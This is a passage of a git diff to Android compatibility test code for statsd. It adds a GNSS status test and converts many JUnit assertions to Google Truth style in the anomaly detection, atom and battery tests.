import android.hardware.camera2.CameraManager;
+import android.location.GnssStatus;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
@@ -270,6 +271,81 @@
}
@Test
+ public void testGpsStatus() {
+ Context context = InstrumentationRegistry.getContext();
+ final LocationManager locManager = context.getSystemService(LocationManager.class);
+
+ if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
+ Log.e(TAG, "GPS provider is not enabled");
+ return;
+ }
+
+ // Time out set to 85 seconds (5 seconds for sleep and a possible 85 seconds if TTFF takes
+ // max time which would be around 90 seconds.
+ // This is based on similar location cts test timeout values.
+ final int TIMEOUT_IN_MSEC = 85_000;
+ final int SLEEP_TIME_IN_MSEC = 5_000;
+ // TTFF could take up to 90 seconds, thus we need to wait till TTFF does occur if it does
+ // not occur in the first SLEEP_TIME_IN_MSEC
+ final CountDownLatch mLatchTtff = new CountDownLatch(1);
+
+ GnssStatus.Callback gnssStatusCallback = new GnssStatus.Callback() {
+ @Override
+ public void onStarted() {
+ Log.v(TAG, "Gnss Status Listener Started");
+ }
+
+ @Override
+ public void onStopped() {
+ Log.v(TAG, "Gnss Status Listener Stopped");
+ }
+
+ @Override
+ public void onFirstFix(int ttffMillis) {
+ Log.v(TAG, "Gnss Status Listener Received TTFF");
+ mLatchTtff.countDown();
+ }
+
+ @Override
+ public void onSatelliteStatusChanged(GnssStatus status) {
+ Log.v(TAG, "Gnss Status Listener Received Status Update");
+ }
+ };
+
+ boolean gnssStatusCallbackAdded = locManager.registerGnssStatusCallback(
+ gnssStatusCallback, new Handler(Looper.getMainLooper()));
+ if (!gnssStatusCallbackAdded) {
+ // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+ Log.e(TAG, "Failed to start gnss status callback");
+ }
+
+ final LocationListener locListener = new LocationListener() {
+ public void onLocationChanged(Location location) {
+ Log.v(TAG, "onLocationChanged: location has been obtained");
+ }
+ public void onProviderDisabled(String provider) {
+ Log.v(TAG, "onProviderDisabled " + provider);
+ }
+ public void onProviderEnabled(String provider) {
+ Log.v(TAG, "onProviderEnabled " + provider);
+ }
+ public void onStatusChanged(String provider, int status, Bundle extras) {
+ Log.v(TAG, "onStatusChanged " + provider + " " + status);
+ }
+ };
+
+ locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
+ 0,
+ 0 /* minDistance */,
+ locListener,
+ Looper.getMainLooper());
+ sleep(SLEEP_TIME_IN_MSEC);
+ waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchTtff, null);
+ locManager.removeUpdates(locListener);
+ locManager.unregisterGnssStatusCallback(gnssStatusCallback);
+ }
+
+ @Test
public void testScreenBrightness() {
Context context = InstrumentationRegistry.getContext();
PowerManager pm = context.getSystemService(PowerManager.class);
@@ -325,7 +401,7 @@
Context context = InstrumentationRegistry.getContext();
JobScheduler js = context.getSystemService(JobScheduler.class);
- assertTrue("JobScheduler service not available", js != null);
+ assertWithMessage("JobScheduler service not available").that(js).isNotNull();
JobInfo.Builder builder = new JobInfo.Builder(1, name);
builder.setOverrideDeadline(0);
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
index 1db1c0a..3728cef 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
@@ -16,7 +16,7 @@
package com.android.server.cts.device.statsd;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
import android.net.wifi.WifiManager;
import android.os.Vibrator;
@@ -34,12 +34,12 @@
@Test
public void checkVibratorSupported() {
Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
- assertTrue(v.hasVibrator());
+ assertThat(v.hasVibrator()).isTrue();
}
@Test
public void checkWifiEnhancedPowerReportingSupported() {
WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
- assertTrue(wm.isEnhancedPowerReportingSupported());
+ assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
index 4983d06..00930cd 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
@@ -15,6 +15,8 @@
*/
package android.cts.statsd.alarm;
+import static com.google.common.truth.Truth.assertThat;
+
import android.cts.statsd.atom.AtomTestCase;
import com.android.internal.os.StatsdConfigProto;
@@ -59,7 +61,7 @@
String markTime = getCurrentLogcatDate();
Thread.sleep(9_000);
- if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
index 3b81a0b..b1705ad 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
@@ -15,6 +15,9 @@
*/
package android.cts.statsd.alert;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.cts.statsd.atom.AtomTestCase;
import com.android.internal.os.StatsdConfigProto;
@@ -111,29 +114,28 @@
// count(label=6) -> 1 (not an anomaly, since not "greater than 2")
doAppBreadcrumbReportedStart(6);
Thread.sleep(500);
- assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
- if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
// count(label=6) -> 2 (not an anomaly, since not "greater than 2")
doAppBreadcrumbReportedStart(6);
Thread.sleep(500);
- assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
- if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
// count(label=12) -> 1 (not an anomaly, since not "greater than 2")
doAppBreadcrumbReportedStart(12);
Thread.sleep(1000);
- assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
- if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
doAppBreadcrumbReportedStart(6); // count(label=6) -> 3 (anomaly, since "greater than 2"!)
Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
List<EventMetricData> data = getEventMetricDataList();
- assertEquals("Expected 1 anomaly", 1, data.size());
- AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
- assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
- if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Expected anomaly").that(data).hasSize(1);
+ assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
}
// Tests that anomaly detection for duration works.
@@ -166,18 +168,18 @@
String markTime = getCurrentLogcatDate();
doAppBreadcrumbReportedStart(1);
Thread.sleep(6_000); // Recorded duration at end: 6s
- assertEquals("Premature anomaly,", 0, getEventMetricDataList().size());
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
doAppBreadcrumbReportedStop(1);
Thread.sleep(4_000); // Recorded duration at end: 6s
- assertEquals("Premature anomaly,", 0, getEventMetricDataList().size());
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
// Test that alarm does fire when it is supposed to (after 4s, plus up to 5s alarm delay).
doAppBreadcrumbReportedStart(1);
Thread.sleep(9_000); // Recorded duration at end: 13s
List<EventMetricData> data = getEventMetricDataList();
- assertEquals("Expected an anomaly,", 1, data.size());
- assertEquals(ALERT_ID, data.get(0).getAtom().getAnomalyDetected().getAlertId());
+ assertWithMessage("Expected anomaly").that(data).hasSize(1);
+ assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
// Now test that the refractory period is obeyed.
markTime = getCurrentLogcatDate();
@@ -185,7 +187,7 @@
doAppBreadcrumbReportedStart(1);
Thread.sleep(3_000); // Recorded duration at end: 13s
// NB: the previous getEventMetricDataList also removes the report, so size is back to 0.
- assertEquals("Expected only 1 anomaly,", 0, getEventMetricDataList().size());
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
// Test that detection works again after refractory period finishes.
doAppBreadcrumbReportedStop(1);
@@ -194,9 +196,9 @@
Thread.sleep(15_000); // Recorded duration at end: 15s
// We can do an incidentd test now that all the timing issues are done.
data = getEventMetricDataList();
- assertEquals("Expected another anomaly,", 1, data.size());
- assertEquals(ALERT_ID, data.get(0).getAtom().getAnomalyDetected().getAlertId());
- if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Expected anomaly").that(data).hasSize(1);
+ assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
doAppBreadcrumbReportedStop(1);
}
@@ -229,7 +231,7 @@
Thread.sleep(5_000);
doAppBreadcrumbReportedStop(1);
Thread.sleep(2_000);
- assertEquals("Premature anomaly,", 0, getEventMetricDataList().size());
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
// Test that alarm does fire when it is supposed to.
// The anomaly occurs in 1s, but alarms won't fire that quickly.
@@ -245,9 +247,8 @@
// Although we expect that the alarm won't fire, we certainly cannot demand that.
CLog.w(TAG, "The anomaly was detected twice. Presumably the alarm did manage to fire.");
}
- assertTrue("Expected 1 (or possibly 2) anomalies, instead of " + data.size(),
- 1 == data.size() || 2 == data.size());
- assertEquals(ALERT_ID, data.get(0).getAtom().getAnomalyDetected().getAlertId());
+ assertThat(data.size()).isAnyOf(1, 2);
+ assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
}
// Tests that anomaly detection for value works.
@@ -273,17 +274,16 @@
String markTime = getCurrentLogcatDate();
doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
- assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
- if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
doAppBreadcrumbReportedStart(14); // value = 14 > trigger
Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
List<EventMetricData> data = getEventMetricDataList();
- assertEquals("Expected 1 anomaly", 1, data.size());
- AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
- assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
- if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Expected anomaly").that(data).hasSize(1);
+ assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
}
// Test that anomaly detection integrates with perfetto properly.
@@ -323,17 +323,28 @@
String markTime = getCurrentLogcatDate();
doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
- assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
- if (PERFETTO_TESTS_ENABLED) assertFalse(isSystemTracingEnabled());
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+ if (PERFETTO_TESTS_ENABLED) assertThat(isSystemTracingEnabled()).isFalse();
doAppBreadcrumbReportedStart(14); // value = 14 > trigger
Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
List<EventMetricData> data = getEventMetricDataList();
- assertEquals("Expected 1 anomaly", 1, data.size());
- AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
- assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
- if (PERFETTO_TESTS_ENABLED) assertTrue(isSystemTracingEnabled());
+ assertWithMessage("Expected anomaly").that(data).hasSize(1);
+ assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+
+ // Pool a few times to allow for statsd <-> traced <-> traced_probes communication to happen.
+ if (PERFETTO_TESTS_ENABLED) {
+ boolean tracingEnabled = false;
+ for (int i = 0; i < 5; i++) {
+ if (isSystemTracingEnabled()) {
+ tracingEnabled = true;
+ break;
+ }
+ Thread.sleep(1000);
+ }
+ assertThat(tracingEnabled).isTrue();
+ }
}
// Tests that anomaly detection for gauge works.
@@ -360,18 +371,17 @@
String markTime = getCurrentLogcatDate();
doAppBreadcrumbReportedStart(6); // gauge = 6, which is NOT > trigger
Thread.sleep(Math.max(WAIT_AFTER_BREADCRUMB_MS, 1_100)); // Must be >1s to push next bucket.
- assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
- if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
// We waited for >1s above, so we are now in the next bucket (which is essential).
doAppBreadcrumbReportedStart(14); // gauge = 14 > trigger
Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
List<EventMetricData> data = getEventMetricDataList();
- assertEquals("Expected 1 anomaly", 1, data.size());
- AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
- assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
- if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+ assertWithMessage("Expected anomaly").that(data).hasSize(1);
+ assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+ if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
}
// Test that anomaly detection for pulled metrics work.
@@ -416,9 +426,8 @@
List<EventMetricData> data = getEventMetricDataList();
// There will likely be many anomalies (one for each dimension). There must be at least one.
- assertTrue("Expected >=1 anomaly", data.size() >= 1);
- AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
- assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
+ assertThat(data.size()).isAtLeast(1);
+ assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 5b5711c..4ec6142 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -18,6 +18,9 @@
import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.os.BatteryStatsProto;
import android.os.StatsDataDumpProto;
import android.service.battery.BatteryServiceDumpProto;
@@ -54,6 +57,7 @@
import com.android.tradefed.util.CommandResult;
import com.android.tradefed.util.CommandStatus;
+import com.google.common.collect.Range;
import com.google.common.io.Files;
import com.google.protobuf.ByteString;
@@ -255,7 +259,7 @@
*/
protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
throws Exception {
- assertTrue("Expected one report", reportList.getReportsCount() == 1);
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
ConfigMetricsReport report = reportList.getReports(0);
List<EventMetricData> data = new ArrayList<>();
@@ -273,15 +277,16 @@
protected List<Atom> getGaugeMetricDataList() throws Exception {
ConfigMetricsReportList reportList = getReportList();
- assertTrue("Expected one report.", reportList.getReportsCount() == 1);
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+
// only config
ConfigMetricsReport report = reportList.getReports(0);
- assertEquals("Expected one metric in the report.", 1, report.getMetricsCount());
+ assertThat(report.getMetricsCount()).isEqualTo(1);
List<Atom> data = new ArrayList<>();
for (GaugeMetricData gaugeMetricData :
report.getMetrics(0).getGaugeMetrics().getDataList()) {
- assertTrue("Expected one bucket.", gaugeMetricData.getBucketInfoCount() == 1);
+ assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
for (Atom atom : gaugeMetricData.getBucketInfo(0).getAtomList()) {
data.add(atom);
}
@@ -300,7 +305,7 @@
*/
protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
ConfigMetricsReportList reportList = getReportList();
- assertTrue("Expected one report", reportList.getReportsCount() == 1);
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
ConfigMetricsReport report = reportList.getReports(0);
List<DurationMetricData> data = new ArrayList<>();
@@ -321,7 +326,7 @@
*/
protected List<CountMetricData> getCountMetricDataList() throws Exception {
ConfigMetricsReportList reportList = getReportList();
- assertTrue("Expected one report", reportList.getReportsCount() == 1);
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
ConfigMetricsReport report = reportList.getReports(0);
List<CountMetricData> data = new ArrayList<>();
@@ -342,7 +347,7 @@
*/
protected List<ValueMetricData> getValueMetricDataList() throws Exception {
ConfigMetricsReportList reportList = getReportList();
- assertTrue("Expected one report", reportList.getReportsCount() == 1);
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
ConfigMetricsReport report = reportList.getReports(0);
List<ValueMetricData> data = new ArrayList<>();
@@ -359,14 +364,14 @@
protected StatsLogReport getStatsLogReport() throws Exception {
ConfigMetricsReport report = getConfigMetricsReport();
- assertTrue(report.hasUidMap());
- assertEquals(1, report.getMetricsCount());
+ assertThat(report.hasUidMap()).isTrue();
+ assertThat(report.getMetricsCount()).isEqualTo(1);
return report.getMetrics(0);
}
protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
ConfigMetricsReportList reportList = getReportList();
- assertEquals(1, reportList.getReportsCount());
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
return reportList.getReports(0);
}
@@ -624,7 +629,7 @@
int wait, Function<Atom, Integer> getStateFromAtom) {
// Sometimes, there are more events than there are states.
// Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
- assertTrue("Too few states found (" + data.size() + ")", data.size() >= stateSets.size());
+ assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
Atom atom = data.get(dataIndex).getAtom();
@@ -641,19 +646,18 @@
LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
+ " in stateSetIndex " + stateSetIndex + ":\n"
+ data.get(dataIndex).getAtom().toString());
- assertTrue("Missed first state", dataIndex != 0); // should not be on first data
- assertTrue("Too many states (" + (stateSetIndex + 1) + ")",
- stateSetIndex < stateSets.size());
- assertTrue("Is in wrong state (" + state + ")",
- stateSets.get(stateSetIndex).contains(state));
+ assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
+ assertWithMessage("Too many states").that(stateSetIndex)
+ .isLessThan(stateSets.size());
+ assertWithMessage(String.format("Is in wrong state (%d)", state))
+ .that(stateSets.get(stateSetIndex)).contains(state);
if (wait > 0) {
assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
wait / 2, wait * 5);
}
}
}
- assertTrue("Too few states (" + (stateSetIndex + 1) + ")",
- stateSetIndex == stateSets.size() - 1);
+ assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
}
/**
@@ -899,8 +903,8 @@
public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
int minDiffMs, int maxDiffMs) {
long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
- assertTrue("Illegal time difference (" + diffMs + "ms)", minDiffMs <= diffMs);
- assertTrue("Illegal time difference (" + diffMs + "ms)", diffMs <= maxDiffMs);
+ assertWithMessage("Illegal time difference")
+ .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
}
protected String getCurrentLogcatDate() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
index 94d5fdc..b110fff 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
@@ -16,6 +16,9 @@
package android.cts.statsd.atom;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.cts.statsd.validation.ValidationTestUtil;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -52,7 +55,7 @@
@Override
protected void setUp() throws Exception {
super.setUp();
- assertNotNull(mCtsBuild);
+ assertThat(mCtsBuild).isNotNull();
}
@Override
@@ -104,7 +107,8 @@
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
final String result = getDevice().installPackage(
buildHelper.getTestFile(appFileName), true, grantPermissions);
- assertNull("Failed to install " + appFileName + ": " + result, result);
+ assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
+ .that(result).isNull();
}
protected CompatibilityBuildHelper getBuildHelper() {
@@ -135,7 +139,7 @@
}
CollectingTestListener listener = new CollectingTestListener();
- assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+ assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
final TestRunResult result = listener.getCurrentRunResults();
if (result.isRunFailure()) {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
index ec6291d..8394006 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
@@ -15,6 +15,9 @@
*/
package android.cts.statsd.atom;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
import com.android.internal.os.StatsdConfigProto.MessageMatcher;
import com.android.internal.os.StatsdConfigProto.Position;
@@ -80,9 +83,9 @@
List<EventMetricData> data = doDeviceMethod(methodName, conf);
if (demandExactlyTwo) {
- assertEquals(2, data.size());
+ assertThat(data).hasSize(2);
} else {
- assertTrue("data.size() [" + data.size() + "] should be >= 2", data.size() >= 2);
+ assertThat(data.size()).isAtLeast(2);
}
assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
return data;
@@ -165,9 +168,9 @@
+ currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
String[] uidLineParts = uidLine.split(":");
// 3rd entry is package uid
- assertTrue(uidLineParts.length > 2);
+ assertThat(uidLineParts.length).isGreaterThan(2);
int uid = Integer.parseInt(uidLineParts[2].trim());
- assertTrue(uid > 10000);
+ assertThat(uid).isGreaterThan(10000);
return uid;
}
@@ -287,8 +290,10 @@
protected void rebootDeviceAndWaitUntilReady() throws Exception {
rebootDevice();
// Wait for 2 mins.
- assertTrue("Device failed to boot", getDevice().waitForBootComplete(120_000));
- assertTrue("Stats service failed to start", waitForStatsServiceStart(60_000));
+ assertWithMessage("Device failed to boot")
+ .that(getDevice().waitForBootComplete(120_000)).isTrue();
+ assertWithMessage("Stats service failed to start")
+ .that(waitForStatsServiceStart(60_000)).isTrue();
Thread.sleep(2_000);
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 1f26565..cdaffd1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -16,6 +16,7 @@
package android.cts.statsd.atom;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.os.BatteryPluggedStateEnum;
import android.os.BatteryStatusEnum;
@@ -32,6 +33,8 @@
import com.android.os.StatsLog.ConfigMetricsReportList;
import com.android.os.StatsLog.EventMetricData;
+import com.google.common.collect.Range;
+
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
@@ -349,11 +352,12 @@
List<Atom> data = getGaugeMetricDataList();
- assertTrue(data.size() > 0);
+ assertThat(data).isNotEmpty();
Atom atom = data.get(0);
- assertTrue(atom.getRemainingBatteryCapacity().hasChargeMicroAmpereHour());
+ assertThat(atom.getRemainingBatteryCapacity().hasChargeMicroAmpereHour()).isTrue();
if (hasBattery()) {
- assertTrue(atom.getRemainingBatteryCapacity().getChargeMicroAmpereHour() > 0);
+ assertThat(atom.getRemainingBatteryCapacity().getChargeMicroAmpereHour())
+ .isGreaterThan(0);
}
}
@@ -375,11 +379,11 @@
List<Atom> data = getGaugeMetricDataList();
- assertTrue(data.size() > 0);
+ assertThat(data).isNotEmpty();
Atom atom = data.get(0);
- assertTrue(atom.getFullBatteryCapacity().hasCapacityMicroAmpereHour());
+ assertThat(atom.getFullBatteryCapacity().hasCapacityMicroAmpereHour()).isTrue();
if (hasBattery()) {
- assertTrue(atom.getFullBatteryCapacity().getCapacityMicroAmpereHour() > 0);
+ assertThat(atom.getFullBatteryCapacity().getCapacityMicroAmpereHour()).isGreaterThan(0);
}
}
@@ -399,11 +403,11 @@
List<Atom> data = getGaugeMetricDataList();
- assertTrue(data.size() > 0);
+ assertThat(data).isNotEmpty();
Atom atom = data.get(0);
- assertTrue(atom.getBatteryVoltage().hasVoltageMillivolt());
+ assertThat(atom.getBatteryVoltage().hasVoltageMillivolt()).isTrue();
if (hasBattery()) {
- assertTrue(atom.getBatteryVoltage().getVoltageMillivolt() > 0);
+ assertThat(atom.getBatteryVoltage().getVoltageMillivolt()).isGreaterThan(0);
}
}
@@ -424,12 +428,11 @@
List<Atom> data = getGaugeMetricDataList();
- assertTrue(data.size() > 0);
+ assertThat(data).isNotEmpty();
Atom atom = data.get(0);
- assertTrue(atom.getBatteryLevel().hasBatteryLevel());
+ assertThat(atom.getBatteryLevel().hasBatteryLevel()).isTrue();
if (hasBattery()) {
- assertTrue(atom.getBatteryLevel().getBatteryLevel() > 0);
- assertTrue(atom.getBatteryLevel().getBatteryLevel() <= 100);
+ assertThat(atom.getBatteryLevel().getBatteryLevel()).isIn(Range.openClosed(0, 100));
}
}
@@ -450,11 +453,11 @@
List<Atom> data = getGaugeMetricDataList();
- assertTrue(data.size() > 0);
+ assertThat(data).isNotEmpty();
Atom atom = data.get(0);
- assertTrue(atom.getBatteryCycleCount().hasCycleCount());
+ assertThat(atom.getBatteryCycleCount().hasCycleCount()).isTrue();
if (hasBattery()) {
- assertTrue(atom.getBatteryCycleCount().getCycleCount() >= 0);
+ assertThat(atom.getBatteryCycleCount().getCycleCount()).isAtLeast(0);
}
}
@@ -474,11 +477,11 @@
List<Atom> data = getGaugeMetricDataList();
Atom atom = data.get(0);
- assertTrue(!atom.getKernelWakelock().getName().equals(""));
- assertTrue(atom.getKernelWakelock().hasCount());
- assertTrue(atom.getKernelWakelock().hasVersion());
- assertTrue(atom.getKernelWakelock().getVersion() > 0);
- assertTrue(atom.getKernelWakelock().hasTimeMicros());
+ assertThat(atom.getKernelWakelock().getName()).isNotEmpty();
+ assertThat(atom.getKernelWakelock().hasCount()).isTrue();
+ assertThat(atom.getKernelWakelock().hasVersion()).isTrue();
+ assertThat(atom.getKernelWakelock().getVersion()).isGreaterThan(0);
+ assertThat(atom.getKernelWakelock().hasTimeMicros()).isTrue();
}
// Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
@@ -510,12 +513,12 @@
List<Atom> dataList = getGaugeMetricDataList();
for (Atom atom: dataList) {
- assertTrue(atom.getWifiActivityInfo().getTimestampMillis() > 0);
- assertTrue(atom.getWifiActivityInfo().getStackState() >= 0);
- assertTrue(atom.getWifiActivityInfo().getControllerIdleTimeMillis() > 0);
- assertTrue(atom.getWifiActivityInfo().getControllerTxTimeMillis() >= 0);
- assertTrue(atom.getWifiActivityInfo().getControllerRxTimeMillis() >= 0);
- assertTrue(atom.getWifiActivityInfo().getControllerEnergyUsed() >= 0);
+ assertThat(atom.getWifiActivityInfo().getTimestampMillis()).isGreaterThan(0L);
+ assertThat(atom.getWifiActivityInfo().getStackState()).isAtLeast(0);
+ assertThat(atom.getWifiActivityInfo().getControllerIdleTimeMillis()).isGreaterThan(0L);
